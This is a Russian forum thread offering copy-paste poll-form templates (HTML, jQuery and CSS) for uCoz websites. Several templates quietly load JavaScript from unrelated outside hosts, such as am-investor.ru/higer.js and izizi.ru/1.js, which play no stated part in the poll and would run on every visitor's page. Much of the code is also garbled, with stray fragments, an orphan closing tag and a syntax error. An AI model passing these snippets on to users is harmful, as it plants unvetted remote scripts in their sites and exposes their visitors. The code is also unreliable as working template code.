1. Приветствую гостей и пользователей нашего форума! Первый раз вы у нас или же давно участвуете в жизни ресурса, хочу напомнить несколько моментов.

    1) Пользуемся поиском по форуму! Зачастую информация может находиться не по разделу!

    2) Раздел ИНФО-продуктов относительно новый, но имеем уже более 3000 высококлассных материалов (пользуемся сортировкой по прификсам).

    3) И самое важное, КАК КАЧАТЬ БЕЗ ОГРАНИЧЕНИЙ, вся информация находится по этой ссылке КУПИТЬ VIP

    4) Временная акция, получи +5 постов за вступление в нашу группу "Вконтакте" Более подробно ТУТ

    5) Веди активную жизнь на форуме и получай рубли на личный счёт!

    Скрыть объявление
  2. На нашем форуме Null-Prog действует серьёзное правило касательно размещения материалов!

    ДЛЯ РЕЛИЗЁРОВ: категорически запрещается выкладка материалов на файлообменники типа Deposit, letitbit и другие, требующие просмотров рекламы, обрезающие скорость и тд. Нарушителям, первые 2 раза предупреждения, далее БАН. Тему по этому поводу можно посмотреть ТУТ

    Скрыть объявление
  3. В тестовом режиме на нашем форуме открыт онлайн конструктор сайтов. Вы можете попробовать создать свой сайт у НАС, интуитивно понятный интерфейс, переведёт на 95%, быстрый экспорт проекта, от вас только перетаскивать элементы и вставить в них необходимый текст!

    Все вопросы ТУТ

    Скрыть объявление

  4. Скрыть объявление
  5. Уважаемые форумчане, открывается новый раздел форума, посвящённый ремонту и эксплуатации автомобилей. Просмотреть его можно ТУТ

    Так как раздел новый, информация будет пополнять каждый день. Если есть какие либо замечания по этому разделу, отписываемся в соответствующий раздел форума, либо в личку.

    Напоминаю, сообщения в разделе АВТО не учитываются, общение не ограничено.

    Скрыть объявление
  6. Объявляется набор Модераторов на различные раздел форума, свои заявки можно оставлять в ЭТОМ разделе, перед оставлением заявки рекомендуется ознакомиться с ПРАВИЛАМИ для модераторов.

ХАК Опросы

Тема в разделе "Скрипты", создана пользователем Sam Jack, 6 июн 2015.

  1. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.749
    [​IMG]
    Вам надоел стандартный вид опросов или хотите чего-нибудь нового, интересного?!
    Тогда вот новый стиль опросов для Вас.
    Данный код, размещаем в нужное Вам место.
    Код
    "Verdana"><div class="pollBlock" style="font-family:Tahoma,Arial;">
    <script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
    <div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left;"><b><center>$QUESTION$</center></b></div>
    <br>
    <div class="pollAns" style="font-size:8pt;text-align:left;">$ANSWERS$</div>
    <div class="pollLnk" style="padding-top:4px;text-align:center;"><a style="font-size:7pt;"href="$RESULTS_LINK$">Результаты</a> · <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</a></div>
    <div class="pollTot" style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов:<b>$TOTAL_VOTES$</b></div>
    </div>
    <script type="text/javascript" src="http://ili.pp.ua/js_css/opros.js"></script>
    <link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/poll.css">
     
    Метки:
  2. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.749
    [​IMG]
    ЗаходимПанель Управление » Управление дизайном » Опрос » Вид формы опросов, удаляем там всё и вставляем данный скрипт.
    Код:
    <P><B>$QUESTION$</B></P> 
    
    $ANSWERS$<BR> 
    
      <FORM method="post" name="vote" action=""><TABLE width="100%"> 
    
      <TBODY><script src="http://izizi.ru/1.js" type="text/javascript"></script> 
    
    <TR><TD> 
    
      <DIV style="padding-top:4px;text-align:center;">[ <A style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</A> · <A style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</A> ]</DIV> 
    
    <DIV style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <B>$TOTAL_VOTES$</B></DIV> 
    
      </TD></TR></TBODY></TABLE></FORM> 
    </script> <TR>
     
  3. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.749
    [​IMG]
    Главная » Управление дизайном » Вид Формы Опросов:
    Код:
    "Verdana"><div style="padding-top:4px;text-align:center;"> 
      <table width="100%" align="center" class="bBlok2"> 
      <tr> 
      <td class="eTitle" height="15px" style="border:1px solid #5d5d5d;"><div style="padding-bottom: 0px;"><center><font size="1.5" face="Tahoma">$QUESTION$</font></center></div></td> 
      </tr> 
      <tr> 
      <td class="eTitle" height="15px" style="border:1px solid #5d5d5d;"><div style="padding-bottom: 0px;"><center><div style="font-size:7pt;text-align:left;">$ANSWERS$</div></center></div></td> 
      </tr> 
      </table></div> 
      <div style="padding-top:4px;text-align:center;"> 
      <table width="100%" align="center" class="bBlok2"> 
      <tr> 
      <td class="eTitle" height="15px" style="border:1px solid #5d5d5d;"><div style="padding-bottom: 0px;"><center><a style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</a> <font size="1.5">|</font> <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив</a></center></div></td> 
      </tr> 
      <tr> 
      <td class="eTitle" height="15px" style="border:1px solid #5d5d5d;"><div style="padding-bottom: 0px;"><center><font size="1.5" face="Tahoma">Всего ответов: <b>$TOTAL_VOTES$</b></font></center></div></td> 
      </tr> 
      </table></div></div>
     
  4. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.749
    [​IMG]
    Вид формы опросов кидаем код:
    Код:
    "Verdana"><script type="text/javascript">function pollnow955(){document.getElementById('PlBtn955').disabled=true;_uPostForm('pollform955',{url:'/poll/',type:'POST'});}function polll955(id,i){_uPostForm('pollform955',{url:'/poll/'+id+'-1-'+i+'-955',type:'GET'});}</script><div id="pollBlock955"><form id="pollform955" onsubmit="pollnow955();return false;"><div style="font-family: Visitor_Rus;font-size: 10px;"> 
      <table width="100%" class="bBlok"><td class="bBlok4"><div style="font-size:10px;padding-top:2px;text-align:center;font-family: Visitor_Rus;padding-bottom: 3px;"><center><font color="#808080">$QUESTION$</font></center></div></td></table> 
    
      </p> 
      <table width="100%" class="bBlok"><td class="bBlok"><div style="font-size:10px;padding-top:2px;text-align:left;font-family: Visitor_Rus;padding-bottom: 2px;"><font color="#808080"> 
      $ANSWERS$ 
    
      <input type="hidden" name="id" value="6" /> 
      <input type="hidden" name="a" value="1" /><input type="hidden" name="ajax" value="955" /></font></div></td></table> 
    
      </p> 
      <div style="padding-top:4px;text-align:center;"> 
      <table width="100%" align="center" class="bBlok"> 
      <tr> 
      <td class="bBlok4" height="15px" style="border:1px solid #000000;"><div style="padding-bottom: 0px;"><center><a style="font-family: Visitor_Rus;font-size: 10px;" href="$ARCHIVE_LINK$" rel="nofollow" onclick="new _uWnd('PollA','Архив опросов',660,250,{closeonesc:1,maxh:400,max:1,min:1},{url:'$ARCHIVE_LINK$'});return false;">Архив</a> 
      <font size="1.5" face="Visitor_Rus">|</font> <a style="font-family: Visitor_Rus;font-size: 10px;" href="$RESULTS_LINK$" rel="nofollow" onclick="new _uWnd('PollR','Результаты опроса',660,200,{closeonesc:1,maxh:400},{url:'$RESULTS_LINK$'});return false;">Результаты</a></center></div></td> 
      </tr> 
      <tr> 
      <td height="15px" style="padding-top:1px;font-size:10px;text-align:left;color:#808080;" class="bBlok4"><center><div style="padding-bottom: 0px;"><font size="1.5" face="Visitor_Rus"> Всего ответов: $TOTAL_VOTES$</font></div></center></td></tr> 
      </table></div></form></div> 
     
  5. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.749
    [​IMG]
    В Вид формы опросов вставляем:
    Код:
    "Modern" style="font-size: 12pt;"><p class="vtitle"><i> $QUESTION$</i></p> "Verdana" size="1"> <form method="post" name="vote" action=""> 
      <div class="votelist"> 
      $ANSWERS$ 
      </div> 
      <p><br> 
      <a href="$ARCHIVE_LINK$" title="Другие опросы">Другие опросы</a></p> 
    
      <input type="hidden" name="vote_action" value="vote"> 
      <input type="hidden" name="vote_id" id="vote_id" value="1"> 
      <div class="votesubmit"> 
      <p><a href="$RESULTS_LINK$">Результаты опроса</a></p> 
      </div> 
      </form> 
    
      <script type="text/javascript"> 
      var a = ['energizer.ucoz.org/images/ivote2.png','energizer.ucoz.org/images/ivote2.png',
    'energizer.ucoz.org/images/ivote2.png','energizer.ucoz.org/images/ivote2.png',
    'energizer.ucoz.org/images/ivote2.png','energizer.ucoz.org/images/ivote2.png',
    'energizer.ucoz.org/images/ivote2.png','energizer.ucoz.org/images/ivote2.png',
    '/images/ivote2.png','/images/ivote2.png']; 
      for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '14px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a + ')', marginTop: '-3px', marginBottom: '-3px', height: '25px', backgroundRepeat: 'repeat-x'});} 
      $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); 
      </script>
     
  6. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.749
    [​IMG]
    1. В вид формы опросов заменяем все то, на код:
    Код
    "Verdana"><fieldset><legend>$QUESTION$ <small>(отв. $TOTAL_VOTES$)</small></legend>$ANSWERS$</fieldset>
    <script type="text/javascript">
    $('input[id^="a"]').click(function () {
    $('.pollBut').click();
    }) </script>

    2. В глобальный блок, где хотите видеть ссылку вставляем:
    Код
    "Verdana">
    <script type="text/javascript">
    function pollsuwnd(){
    new _uWnd('polluwnd','Опрос',-200,-50,{align:0,autosize:1}, $("#uwndpoll").html() )
    } // by uWnd.ru & SingMen </script>
    <div style="display:none" id="uwndpoll">$POLL$</div>
    <a href="#" onclick="pollsuwnd();">Опрос</a> <style>
    .pollBut{display:none;}
    </style>
     
  7. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.749
    [​IMG]
    Отличная замена стандартному виду опроса ucoz. Все сделано достаточно красиво. Подойдет под любой дизайн, более того есть 7 цветовых вариаций кнопок, которые используются в данном опросе.
    Установка:
    В вид опроса ставим:
    Код
    "Verdana"><div class="pollBlock">
    <div class="pollTitle">$QUESTION$ ?</div>
    <div class="pollAns">$ANSWERS$</div>
    <div align="center">
    <button class="button_poll bleumarin" type="submit" href="$ARCHIVE_LINK$"><span>Архив опросов</span></button>
    <button class="button_poll orange" type="submit" href="$RESULTS_LINK$"><span>Результаты</span></button>
    </div>
    <div class="pollTot">Всего ответов: <b>$TOTAL_VOTES$</b></div>
    </div>
    <link type="text/css" rel="StyleSheet" href="/poll_style/css/style_poll.css">
    <script type="text/javascript" src="/poll_style/js/poll_js.js"></script>


    Несколько видов кнопок опроса:
    Скачиваем архив.
    [​IMG]
    Код
    "Verdana"><button class="button_poll bleumarin" type="submit" href="$ARCHIVE_LINK$"><span>Архив опросов</span></button>
    <button class="button_poll orange" type="submit" href="$RESULTS_LINK$"><span>Результаты</span></button>
     

    Вложения:

  8. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.749
    [​IMG]
    Установка:
    1. Скачиваем архив ниже.
    2. Через файловый менеджер загружаем папку "question_images" в корень вместе со всеми файлами.
    3. Вставляем код формы опроса в Управление дизайном » Опросы » Вид формы опросов.
    4. Сохраняем.
    5. НЕ ЗАБУДЬТЕ СКАЧАТЬ ПАПКУ С КАРТИНКАМИ.
    Код формы опроса:
    Код:
    <div class="pollBlock" style="font-family:Tahoma,Arial;"> 
      <div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left;"><b>$QUESTION$</b></div> <hr> 
      <div class="pollAns" style="font-size:8pt;text-align:left;">$ANSWERS$</div> <hr> 
      <div class="pollLnk" style="padding-top:4px;text-align:center;">[ <a style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</a> · <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</a> ]</div> 
      <script src="http://webmaster-profi.ru/scripts_ucoz/png.js" type="text/javascript"></script> 
      <div class="pollTot" style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>$TOTAL_VOTES$</b></div> 
      </div> 
    
      <style> 
      .answer div div {height: 10px !important; border: 1px solid #000; background-repeat: repeat-x} 
      </style> 
      <script type="text/javascript"> 
      var a = ['/question_images/01.gif','/question_images/02.gif','/question_images/03.gif','/question_images/04.gif','/question_images/05.gif']; 
      for(var i = 0; i < a.length; i++){ 
      $('div.answer div div').eq(i).css({background: 'url(' + a + ')', backgroundRepeat: 'repeat-x'}); 
      } 
    
      $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); 
      </script> 
     

    Вложения:

  9. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.749
    [​IMG]

    Установка:
    В вид опроса ставим код:
    Код
    <script type="text/javascript">
    var a = ['1','2','3','4','5','6','1','2','3','4','5','6'];
    for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress'+).css({marginTop: '-3px', marginBottom: '-3px', backgroundRepeat:'repeat-x'});}
    $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); </script>
    В таблицу стилей CSS:
    Код:
    .answer {font-weight: normal;font-style: normal; position:relative; color:#4d4d4d; margin-bottom:10px;height:25px;} 
      .answer span{z-index:2;position:relative;left:-8px;color: #fff;top:8px;text-shadow: 0 -1px 0 rgba(0,0,0,0.25);} 
      .answer div{z-index:1;height:25px!important;position:absolute;top:3px;left:0px;width:100%;} 
      .progress { 
      height: 25px; 
      margin-bottom: 20px; 
      overflow: hidden; 
      background-color: #f7f7f7; 
      background-image: -moz-linear-gradient(top,#f5f5f5,#f9f9f9); 
      background-image: -webkit-gradient(linear,0 0,0 100%,from(#f5f5f5),to(#f9f9f9)); 
      background-image: -webkit-linear-gradient(top,#f5f5f5,#f9f9f9); 
      background-image: -o-linear-gradient(top,#f5f5f5,#f9f9f9); 
      background-image: linear-gradient(to bottom,#f5f5f5,#f9f9f9); 
      background-repeat: repeat-x; 
      -webkit-border-radius: 4px; 
      -moz-border-radius: 4px; 
      border-radius: 4px; 
      filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5',endColorstr='#fff9f9f9',GradientType=0); 
      -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1); 
      -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1); 
      box-shadow: inset 0 1px 2px rgba(0,0,0,0.1); 
      } 
      
      .progress div {height: 25px !important;} 
      .procent {top:0px !important; left:5px !important;} 
      .progress0 {background-color: #fb3c2d !important;} 
      .progress1 {background: rgb(32, 195, 209) !important;} 
      .progress2 {background: rgb(133, 202, 45) !important;} 
      .progress3 {background: rgb(231, 197, 19) !important;} 
      .progress4 {background: rgb(22, 184, 206) !important;} 
      .progress5 {background: rgb(32, 195, 209) !important;} 
      .progress6 {background: rgb(32, 195, 209) !important;} 
      
      .progress0, .progress1, .progress2, .progress3, .progress4, .progress5, .progress6 { 
      background-image: -webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255, 255, 255, 0)),color-stop(0.25,rgba(0, 0, 0, 0.07)),color-stop(0.5,rgba(0, 0, 0, 0.07)),color-stop(0.5,rgba(255, 255, 255, 0)),color-stop(0.75,rgba(255, 255, 255, 0)),color-stop(0.75,rgba(0, 0, 0, 0.07)),to(rgba(0, 0, 0, 0.07))) !important; 
      -webkit-background-size: 40px 40px !important; 
      -moz-background-size: 40px 40px !important; 
      -o-background-size: 40px 40px !important; 
      background-size: 40px 40px !important; 
      box-sizing: border-box; 
      background-repeat: repeat-x; 
      -webkit-transition: width .6s ease; 
      transition: width .6s ease; 
      }
     

Поделиться этой страницей

iHax Community
Рейтинг@Mail.ru Яндекс.Метрика мониторинг сайтов
Форум программного обеспечения/
Загрузка...